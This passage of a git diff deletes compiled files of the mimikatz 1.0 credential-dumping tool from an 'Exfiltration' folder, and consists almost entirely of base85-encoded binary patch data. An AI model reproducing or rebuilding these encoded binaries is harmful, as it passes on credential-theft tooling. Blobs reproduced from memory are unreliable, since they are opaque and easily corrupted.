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 diff --git a/Exfiltration/mimikatz-1.0/Win32/kappfree.exp b/Exfiltration/mimikatz-1.0/Win32/kappfree.exp deleted file mode 100644 index a6fb957770692a5adb31b685b2a1a2e5fd9a05d2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 693 zcmbtS-AV#M6h5n!5fORc#Rgs|=B5TA{g5OXlA0*!%|MLqsKfruGQ0lZixl(*Jy`cW zft}fPt*$%lIrE*5GiScpGfgc4`L{;*Gy$*=p=ky)X+Wby#X7o){-F}IJ@hJmhRKGr zNv5YbW!D_jk3Z=Zz&}hH2a22UG?FIK&bZ2`MjJqMqhEdg>AyQgXVa*q!b3AqcS{fnLuE-+~rn4dGhy|0qDYNZ|rN<<9m>W== zG~BtcSfRxoZqZ;xoDC?Hj3OCu_o7U;I@!{LJlv#H*jP!6>;M-r*Pz8mQutyV=-F;g zZ#LRb@CvtS7%j|y%7_I3TQb$EBgI5gN3V06`FeI)xy+HD)BD_?QCsf?Gm{IwRK$Dq zYh=h>VsqCrR1Y|UN?Hx)W%JvsBjI=kH^uxN)@yaU-_Ju;Cc$5|se^mVm_>}7cymlZ j4I^fvDm9dtSv*U8SH&%pX&2E-aJOY*6-b1Z2uJx1NR*4I diff --git a/Exfiltration/mimikatz-1.0/Win32/kappfree.lib b/Exfiltration/mimikatz-1.0/Win32/kappfree.lib deleted file mode 100644 index 0f5d04765abf74c2c49fcef53c94323a69090a3d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1702 zcmcIl&2G~`5dLh3Qmm?qC>%kqR0$AL$d6r8gpgZ`L{vAeTvr@jlcY4Fm7_HD%B?3J zfCFcqpeIg!0uCH_0M31fGPBu9Tu32QVIuGB%+Buo>^GbFr%AW5_so9eT%=N^TJ${k z@sf8@U({l$yr^e8Hh^n@aST`|K<*5f^7)J7+WO{37{#kEww{Nz&1fTx-zJ^TZnxD! z9M`vl;CBnW7n8n0^m4nt7OyTx%e19^(23*2UefKog7ANiyfTbDN1-1Zz=;K%k>F3M zRA9hFj(!&Tyh;wEBfUH`Nx9J6-{*Y(R(*G=I;ehNSa|rc7S2*0)07X9QE0Yazk9Q= z)fa&kntTvJb07JYLc5vtl7+G?-J;1?`hI8yl?6VEr`m2&t1-(H@+WpI`fyH7;&Zsc zB4)Bl-NRh|Iw|=;CdN#9baTDk=%$D1ZqKxQCeqz4@eH$D1<^K)^?dzd&r6Oy$LsEGGOqw-@A({$ zF*6a-cr^@74lQM`ltGKB(DFq^$1#pZOH(ZkhYVUOqGhyv7D01H%l|>aI5&HTqPX;7 zv9m}Sr_0J!dF^&=>9X(Sp?}Y#>-L8(^Q2UaM((mKWxC82J==W~LG#JhcbuBuCC`(? bqAO5z_0DKV6rk19;QFV)6Xjk6t8?pZ?N# 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 